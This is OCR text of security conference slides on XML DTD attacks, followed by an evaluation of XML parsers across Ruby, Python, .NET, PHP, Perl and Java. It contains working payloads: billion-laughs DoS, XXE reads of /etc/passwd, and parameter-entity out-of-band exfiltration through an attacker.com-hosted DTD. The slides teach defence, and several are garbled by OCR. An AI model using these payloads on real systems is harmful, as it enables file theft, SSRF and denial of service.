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Motivation

« Parsing XML...

@ python

» Package Index —~ defusedxml! =~ 0.4.1

PACKAGE INDEX  » defusedxml 0.4.1
Browse packages
Package submission XML bomb protection for Python stdlib modules

List trowve classifiers

List packages “It's just XML, what could probably go wrong?”
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Document Type Definition (DTD)

 Defines a "grammar” for XML IDOCTYPE data]
— Which elements are allowed? <'ELEMENT data (#PCDATA)>

| B

— Which sub-elements? <data>4</data>

— Which Data-Type (e.g. number)?

 Successor: XML Schema

Wa‘mqm
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Entities — Motivation

<garage>
<car>Ferrari</car>
</garage>

However...

@%




Entities — Motivation

<garage>
<car>Ferrari GTC4 Lusso</car>
<car>Ferrari Fl2 berlinetta</car>
<car>Ferrari 488GTB</car>

<car>Ferrari 488 Spider</car>
</garage>




Entities — Motivation

<!DOCTYPE garage [
<!ENTITY car "Ferrari">

1>

<garage>
<car>Ferrari GTC4 Lusso</car>
<car>Ferrari F12 berlinetta</car>
<car>Ferrari 488GTB</car>

;:X <car>Ferrari 488 Spider</car>
</garage>

{ APPSEC
EUROPE

ROMA

MMXVI




Entities - Motivation

<!DOCTYPE garage [
<!ENTITY car "Ferrari">
1>
b
<garage>
<car>&car; GTC4 Lusso</car>
<car>&car; Fl2 berlinetta</car>
<car>&car; 488GTB</car>

<car>&car; 488 Spider</car>
</garage>

{ APPSEC
EUROPE
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What can go wrong?
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DTD Attacks

XML-External-Entity
General
XXE Servetj._ﬁ D
Denial-of-Service ...

Attacks

System
Parsers FO I'ge I"_Y

Server-Side-Request-Forgery

Interdlal File External
XML [
Request sz Side
Entity

it | 7 RORSBE

MMXVI Created with http://worditout.com/word-cloud/
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Understanding DTD Attacks:
Denial of Service

/
e
ey Vi
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Denial of Service
Billion Laugh Attack (Klein, 2002)

<!DOCTYPE data |
<!ENTITY a "dos" >
<!ENTITY b "&a; &a; &a;">
<!ENTITY c "&b; &b; &b; ">

1>

<data>&c;</data>

{ APPSEC
EUROPE
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Denial of Service
Billion Laugh Attack (Klein, 2002)

<!DOCTYPE data |
<!ENTITY a "dos" >
<!ENTITY b "&a; &a; &a;">
<!ENTITY c "&b; &b; &b; ">

1>

<data>&c;</data>
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Denial of Service
Billion Laugh Attack (Klein, 2002)

<!DOCTYPE data |
<!ENTITY a "dos" >
<!ENTITY b "&a; &a; &a;">
<!ENTITY c "&b; &b; &b; ">

1>

<data>&c;</data>

{ APPSEC
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Denial of Service
Billion Laugh Attack (Klein, 2002)

<!DOCTYPE data |
<!ENTITY a "dos" >
<!ENTITY b "&a; &a; &a;">
<!ENTITY c "&b;&b;&b;">

1>

<data>&b;&b;&b;</data>

{ APPSEC
EUROPE
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Denial of Service
Billion Laugh Attack (Klein, 2002)

<!DOCTYPE data |
<!ENTITY a "dos" >
<!ENTITY b "&a; &a; &a;">
<!ENTITY c "&b; &b; &b; ">

1>

<data>&b; &b; &b;</data>

{ APPSEC
EUROPE
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Denial of Service
Billion Laugh Attack (Klein, 2002)

<!DOCTYPE data |
<!ENTITY a "dos" >
<!ENTITY b "&a; &a; &a;">
<!ENTITY c "&b; &b; &b; ">

1>

<data>&b; &b; &b;</data>

{ APPSEC
EUROPE
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Denial of Service
Billion Laugh Attack (Klein, 2002)

<!DOCTYPE data |
<!ENTITY a "dos" >
<!ENTITY b "&a; &a; &a;">
<!ENTITY c "&b; &b; &b; ">
1>
<data>&a;&a; &a; &b; &b;</data>

{ APPSEC
EUROPE
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Denial of Service
Billion Laugh Attack (Klein, 2002)

<!DOCTYPE data |

<!ENTITY a "dos" >

<!ENTITY b "&a; &a; &a;">

<!ENTITY c "&b; &b; &b; ">
1>
<data>&a;&a;&a;&a;&a;&a;&a;&a; &a;</data>

{ APPSEC
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Denial of Service
Billion Laugh Attack (Klein, 2002)

<!DOCTYPE data |

<!ENTITY a "dos" >

<!ENTITY b "&a; &a; &a;">

<!ENTITY c "&b; &b; &b; ">
1>
<data>&a;&a;&a;&a;&a;&a;&a;&a; &a;</data>

{ APPSEC
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Denial of Service
Billion Laugh Attack (Klein, 2002)

<!DOCTYPE data |

<!ENTITY a "dos" >

<!ENTITY b "&a; &a; &a;">

<!ENTITY c "&b; &b; &b; ">
1>
<data>dosdosdosdosdosdosdosdosdos</data>

{ APPSEC
EUROPE
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Denial of Service
Billion Laugh Attack (Klein, 2002)

<data>é&c;</data>

<!DOCTYPE data
<I!ENTITY a
<I!ENTITY b
<I!ENTITY c
1>

[
"dos" >

"Sa; &a; &a; ">
"&b &b; &b, ">

<data>dosdosdosdosdosdosdosdosdos</data>

Impact: 200 Byte > 3.5 GB

{ APPSEC
EUROPE

ROMA
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Countermeasure: Forbid Recursion?

25



Denial of Service
Quadtratic Blowup Attack

<!DOCTYPE data [

<!ENTITY a0 "dosdosdosdosdosdos...dos">
1>
<data>&a0; &a0;...&a0;</data>

{ APPSEC
EUROPE
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Denial of Service
Quadtratic Blowup Attack

MMXVI >

i

<!DOCTYPE data [

<!ENTITY a0 "dosdosdosdosdosdos...dos">
1>
<data>&a0;&al;...&a0;</data>

APPSEC
EUROPE
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Countermeasure: Limit XML Size

28



Denial of Service
External Entities (Stueck, 2002)

MMXVI >

<!DOCTYPE data |

<!ENTITY dos SYSTEM "http:///somesite.com/largefile">
1>
<data>&dos;</data>

! ‘;JPAPPSEC

EUROPE
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Denial of Service
External Entities (Stueck, 2002)

MMXVI >

<IDOCTYPE data [

<!ENTITY dos SYSTEM "http:///somesite.com/largefile">
1>
<data>&dos;</data>

! ‘;JPAPPSEC

EUROPE
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There Is more ...

http://web-in-security.blogspot.de/2016/03/xxe-cheat-sheet.html

31
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Understanding DTD Attacks:
External Entity Attack (XXE)




Example: SVG-to-PNG Web Service

<svg xmlns="http://www.w3.0rg/2000/svg">
<rect width="50" height="50"
style="£ill:rgb(255,0,0);"/>
<text x="10" y="30">red</text>
</svg>

Image/PNG: -

33



XML External Entity Attack (XXE)

<!DOCTYPE svg |

<!ENTITY file SYSTEM "file:///etc/passwd">

1>

<svg xmlns="http://www.w3.0rg/2000/svg">
<rect width="500" height="500"

style="£fill:rgb(255,0,0);"/>

<text x="10" y="30">&file;</text>

</svg>

34



XML External Entity Attack (XXE)

<!DOCTYPE svg |

<!ENTITY file SYSTEM "file:///etc/passwd">

1>

<svg xmlns="http://www.w3.0rg/2000/svg">
<rect width="500" height="500"

style="£fill:rgb(255,0,0);"/>

<text x="10" y="30">&file;</text>

</svg>

35



XML External Entity Attack (XXE)

<!DOCTYPE svg [

<!ENTITY file SYSTEM "file:///etc/passwd">
1>

<svg xmlns="http://www.w3.0rg/2000/svg">

<rect width="500" height="500"
style="£fill:rgb(255,0,0);"/>
<text x="10" y="30">&file;</text>
</svg>




Always that easy?
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XML External Entity Attack (XXE)

MMXVI

Works like charm

<!DOCTYPE data [
<!ENTITY file SYSTEM
"file:///etc/passwd">

1>
<data>&file;</data>

{ APPSEC
EUROPE

Does not work

<!DOCTYPE data |

<!ENTITY file SYSTEM
"file:///etc/fstab">

1>

<data>&file;</data>

38



The /etc/fstab Problem

* % cat /etc/fstab

#

# /etc/fstab: static file system information

#

# <file system> <dir> <type> <options> <dump> <pass>
/dev/sdal / extd rw 0 1

{ APPSEC
EUROPE
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The /etc/fstab Problem

* % cat /etc/fstab

#

# /etc/fstab: static file system information

#

# <file system> <dir> <type> <options> <dump> <pass>
/dev/sdal / extd rw 0 1

MMXVI
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Bypass ldea

41



<I[CDATA] Trick ]]»

</data>




<I[CDATA[ ]|> and XXE Idea

<!DOCTYPE data |
<!ENTITY start "<![CDATA[">
<IENTITY file SYSTEM "file:///etc/fstab">
<I!ENTITY end "]]1>">
<!ENTITY all "é&start;&file; &end; ">
1>
<data>&all;</data>

43



<I[CDATA[ ]|> and XXE Idea

<!DOCTYPE data |
<!ENTITY start "<! [CDATA[">
<!ENTITY file SYSTEM "file:///etc/fstab">
<!ENTITY end "]]1>">
<I!ENTITY all "&start;&file;&end;">
1>
<data>&all;</data>

44



<I[CDATA[ ]|> and XXE Idea

<I!ENTITY
<I!ENTITY
<I!ENTITY
<I!ENTITY
1>
<data>&all;

<!DOCTYPE data |

start "<! [CDATA[">

file SYSTEM "file:///etc/fstab">
end "]]1>">

all "&start;&file; &end; ">

</data>

45



<I[CDATA[ ]|> and XXE Idea

</data>




<I[CDATA[ ]|> and XXE Idea

<!DOCTYPE data |
<!ENTITY start "<! [CDATA[">
<!ENTITY file SYSTEM "file:///etc/fstab">
<!ENTITY end "]]1>">
<I!ENTITY all "&start;&file;&end;">
1>
<data>&all;</data>

External Entity not allowed here
47



Bypass: Parameter Entities

—
<!DOCTYPE data SYSTEM "http://attacker.com/a.dtd"> ‘
<data>&all;</data> 'I

49



Bypass: Parameter Entities

_

—

<!DOCTYPE data SYSTEM "http://attacker.com/a.dtd"> ‘
<data>g&all;</data> 'I

50



Bypass: Parameter Entities

<!DOCTYPE data SYSTEM "http://attacker.com/a.dtd">
<data>&all;</data>

<IENTITY % start "<![CDATA[">
<!ENTITY % file SYSTEM "file:///etc/fstab">
<!ENTITY % end "]1]1>">

<IENTITY all '$start;%file; %end;'>

attacker.com
51



Bypass: Parameter Entities

<!DOCTYPE data SYSTEM "http://attacker.com/a.dtd">
<data>&all;</data>

<IENTITY % start "<![CDATA[">
<!ENTITY % file SYSTEM "file:///etc/fstab">
<!ENTITY % end "]1]1>">

<IENTITY all '$start;%file;%end;'>

attacker.com
52



Bypass for Experts ©

<!DOCTYPE data SYSTEM "http://attacker.com/a.dtd">
<data>&all;</data>

<data>

</data>

<!ENTITY % start "<![CDATA[">

<!ENTITY % file SYSTEM "file:///etc/fstab">
<!ENTITY % end "]1]1>">

<IENTITY all '$start;%file;%end; '>

attacker.com
53



If there I1s no ,echo”?

54



Example: SAML Login

« Similar to “Blind SQLi” / “Out of Band”
* Possible, but “ugly”

<saml :Repsonse><saml :Assertion>..

lIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII‘P
<IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII

i P Success / Fail

1 APPSEC
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Bypass ldea

\
_ LZ
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ldea: Send to File Attacker Server

<!DOCTYPE data [

<!ENTITY file SYSTEM "file:///some/file">

<!ENTITY send SYSTEM “http://a.com?content=&file;">
1>
<data>é&send;</data>

External Entity not allowed here

57



Bypass for Experts ©

—
<!DOCTYPE data SYSTEM "http://a.com/b.dtd"> ‘
<data>&send;</data>

58



Bypass for Experts ©

<!DOCTYPE data SYSTEM "http://a.com/b.dtd">
<data>&send;</data>

o\

<!ENTITY file SYSTEM "file:///sys/power/image size">
<IENTITY % all "<!ENTITY send SYSTEM 'http://a.com/?%file;'>">
$all;




Bypass for Experts ©

<!DOCTYPE data SYSTEM "http://a.com/b.dtd">
<data>&send;</data>

-<!ENTITY send SYSTEM 'http://a.com/?herelIsTheContent’>




Bypass for Experts ©

<!DOCTYPE data SYSTEM "http://a.com/b.dtd">
<data>&send;</data>

GET ?herelIsTheContent

-<!ENTITY send SYSTEM 'http://a.com/?herelIsTheContent’>




64

Why are Entities a Problem?

 For Servers:
— Get access to sensitve files (/etc/passwd, /etc/fstab, ~/.netrc, ...)
— URL Invocation: http://localhost:9000/shutdown
— Server-to-Server-Communication
« Portscanner, Access protected services

 For Clients:

— Same Problem!
Wm“m
mmmm\.
annﬂﬂﬂ!nn!n"n“
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http://localhost:9000/shutdown

65

More Parser Attack Techniques

« Parameter Entities
 Xlnclude
o XSLT

« Talk to us during break if you are interested!

{ APPSEC
EUROPE



Parser Evaluation

s Wit

http://web-in-security.blogspot.it/2016/03/xml-parser-evaluation.html
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http://web-in-security.blogspot.it/2016/03/xml-parser-evaluation.html

Parsing XML

* Invoking Piccolo with a SaxParserFactory cannot be used to
harden the parser

System.out.println(factory.getFeature("http: .0r features/external-general-entities"));
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);

System.out.println(factory.getFeature("http://xml.org/sax/features/external-general-entities"));

« Piccolo must be invoked ,directly*

Mﬁl\“m
mmm i
'nnnﬂﬂﬂ!nn!m" APPSEC
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Parsing XML using Piccolo

Piccolo myPiccolo = new Piccolol();
MyDefaultHandler myDefaultHandler = new MyDefaultHandler();
myPiccolo.setContentHandler(myDefaultHandler);

myPiccolo.parse("../../xml_files_windows/standard.xml");
System.out.println("Ausgabe: " +myDefaultHasdler.getElementContent("data"));

o <data>4</data>

ROMA

MMXVI




Parsing XML using Piccolo

Piccolo myPiccolo = new Piccolol();

MyDefaultHandler myDefaultHandler = new MyDefaultHandler();
myPiccolo.setContentHandler(myDefaultHandler);
myPiccolo.parse("../../xml_files_windows/standard.xml");
System.out.println("Ausgabe: " +myDefaultHapgliler.getElementContent("data"));

Ly
P'H
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Preventing Attacks

Piccolo myPiccolo = new Piccolo();
myPiccolo.setFeature("http://xml.org/sax/features/external-general-entities", false);
MyDefaultHandler myDefaultHandler = new MyDefaultHandler();

myPiccolo.setContentHandler(myDefaultHandler);
myPiccolo.parse("../../xml_files_windows/standard.xml");
System.out.printin("Ausgabe: " +myDefaultHandler.getElementContent("data"));

 Still vulnerable to Denial-of-Service Attacks

« Still vulnerable to URL Invocation (SSRF) Attacks
ey
Ay
ANt =7 APR
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71

Test Setup

« 28 different parser in Ruby, .NET, PHP, Java, Python and
Perl

* We tested for:
— Denial-of-Service
— XXE and XXE with Parameter Entities
— URL Invocation

— XlInclude
@ — XSLT
mﬂmﬁ%
hnnn APRSEC
ROMA




Methodology

Empirical, Iterative and Incremental
=~ API + Trial & Error

Test set: 16 core tests + additional tests
In summary 1107 tests
Core tests are processed by each parser

Test metric (simplified):

* BVS = Base Vulnerability Score:
Vulnerabilities from core tests

» Total number of vulnerabilities

Example: Core test for XXE

<?xml version="1.0"?>
<IDOCTYPE [

1>

<data>&res;</data>

This is an arbitrary text
file with. ..

Please ask later for

more details on the

72



ﬂ Ruby

Ruby v.2.1.6

Tested Parsers:

REXML : implemented in Ruby
Nokogiri v.1.6.5: based on libxml2

73



Ruby|Overview

30

25

20

“ Details Rubx I

H BVS

B Total number of vulnerabilities

REXML
= REXML
DoS
XSLT XXE
Xinclude XXEP
SSRF
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Ruby|Overview

30

25

20

15

10

28

H BVS

B Total number of vulnerabilities

Rexml N okogiri

“ Details Rubx I

Nokogiri
—Nokogiri
DoS
XSLT XXE
Xinclude XXEP
SSRF

75



Python

o )
<
Python v.2.7.10

Tested Parsers:

etree

xml.sax, pulldom
minidom

Ixml v.3.4.4
defusedxml v.0.4.1

76



Python|Overview

20
18

13

10 W BYVS o -
5 etree & minidom
& m Total number of
4 - vulnerabilities =—\/Ulnerable
3
o DoS
XSLT XXE
“ Details P¥'Eh0n I Xinclude XXEP
SSRF
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Python|Overview

20
18

13

W BV3

m Total number of
vulnerabilities

|__Deailspyton_|

Xml.sax& pulldom

= \/ulnerable

DoS

XSLT XXE

Xinclude XXEP

SSRF
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Python|Overview

20
18

13

10 W BYVS IXmI
B
s ® Total number of —\/ulnerable
42' vulnerabilities DOS
o -
XSLT XXE
Xinclude XXEP
h Dﬁﬁili Pxihgn I
SSRF
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NET

NET Framework 4.5

Tested Parsers:

XmlReader: Pull Parser
XmIDocument; DOM API
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NET|Overview

18
16
14
1z

(= L -]

“ Details .NET I

HBVS

B Number of total
vulnerabilities

XSLT

Xinclude

XmIDocument

=—1\/Ulnerable

DoS

SSRF

XXE

XXEP
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PH?

PHP v.5.6.11

Tested Parsers:

SimpleXML.: tree-like access
DOMDocument: DOM API
XMLReader: Pull Parser
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35
30
25
20
15
10

PHP|Overview

358 ET:)
W BYS i
SimpleXML & DOMDocument

N Totzl number of

3 3 5 vulnerabilities —\/Ul|Inerable

*&\.- q::l: ._hbé- DOS

& & o

G %Q-D o
< XSLT XXE
| Details PHP I Xinclude XXEP

SSRF
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s Perl
J¥

Strawberry Perl v.5.22.0.1

Tested Parsers:

XML.::Twig: tree-like access
XML::LibXml: based on libxml2

84



w8 Perl|Overview

J¥ |
25
20
15
W BVS
10 -
B Number of total XML"TW|g
5 vulnerabilities
—\/ulnerable
o -
DoS
XSLT XXE
Details ferl Xinclude XXEP
SSRF
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JX |

25

20

15

10

5

o

h Dﬁﬁili Pﬁrl I

Perl|Overview

W BVS

B Number of total
vulnerahilities

XSLT

Xinclude

XML::LibXML

=—\/Ulnerable

DoS

I

-

SSRF

XXE

XXEP
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A Java

Java JDK 7u80

Tested Parsers:
Xerces SAX/DOM v.2.11.0
Crimson v.1.1.3
Piccolo v.1.04
Oracle SAX/DOM (XDK v.10.1.0)

87



Java|Overview

Java Parsers

M Total number of
vulnerabilities

=—\/UInerable

DoS

XSLT \

Xinclude /

SSRF

XXE

XXEP
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89

Evaluation
T e e o tnni [ r o

Ruby/REXML 0
Ruby/Nokogiri yes* no no no no no 1
Python/Etree yes* no no no no no 1
Python/xml.sax yes* yes no yes no no 3
Python/pulldom yes* yes no yes no no 3
Python/Ixml yes yes no no no no 2
Python/defusedxml.* no no no no no no 0
Python/minidom yes* no no no no no 1
.NET/XmIReader no no no no no no 0
.NET/XmIDocument no yes yes yes no no 3
PHP/SimpleXML yes* no no no no no 1
PHP/DOMDocument yes* no no no no no 1
PHP/XMLReader no no no no no no 0
Perl/XML::Twig yes yes no no no no 2
Perl/XML::LibXml yes* yes yes yes no no 4
Java/Xerces SAX yes yes yes yes no no 4
Java/Xerces DOM yes yes yes yes no no 4
Java/Crimson SAX yes yes yes yes no no 4
Java/Oracle SAX yes yes yes yes no no 4

Java/Oracle DOM yes yes yes yes no
Java/Piccolo yes yes yes yes no Some results have
ROMA '\ ‘
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Evaluation Results on SAML SaaS
Providers (2014)

Your Software at my Service (CCSW 2014)
Security Analysis of SaaS Single Sign-On Solutions in the Cloud
Christian Mainka, Vladislav Mladenov, Florian Feldmann, Julian Krautwald, Jorg Schwenk

Service Provider AW N AM2 AM3
0Sig CF XXEA |XSLTA RA XSw TRC Clnj Summary
Salesforce X X X
Google Apps

Zoho

Zendesk

Clarizen

SAManage
Shiftplanning
Panorama9

UserVoice (Marketing)
Instructure

The Resumator
BambooHR
AppDynamics

IdeaScale

Panopto
TimeOffManager
HappyFox

SpringCM

ScreenSteps Live
LiveHive

‘| Howlr

| CA Service Management

R()MA \ Total

MMXVI
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Take-aways

* Choose your parser wisely

 Be aware where you have a parser

— Libraries in Background
* For example, OpeniID
— Parsers in parsers!
« For example, XML Encryption must be decrypted and then parsed!

Do not trust the APl documentation
— Test and verify it!

AN 7 APRSES
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Conclusion

* “It's just XML, what could probably go wrong?”
— Default parser configurations can be vulnerable
— Countermeasures not always available

« Attacks can get complex
— Special characters, “blind” XXE, ...
— http://web-in-security.blogspot.de/2016/03/xxe-cheat-sheet.html
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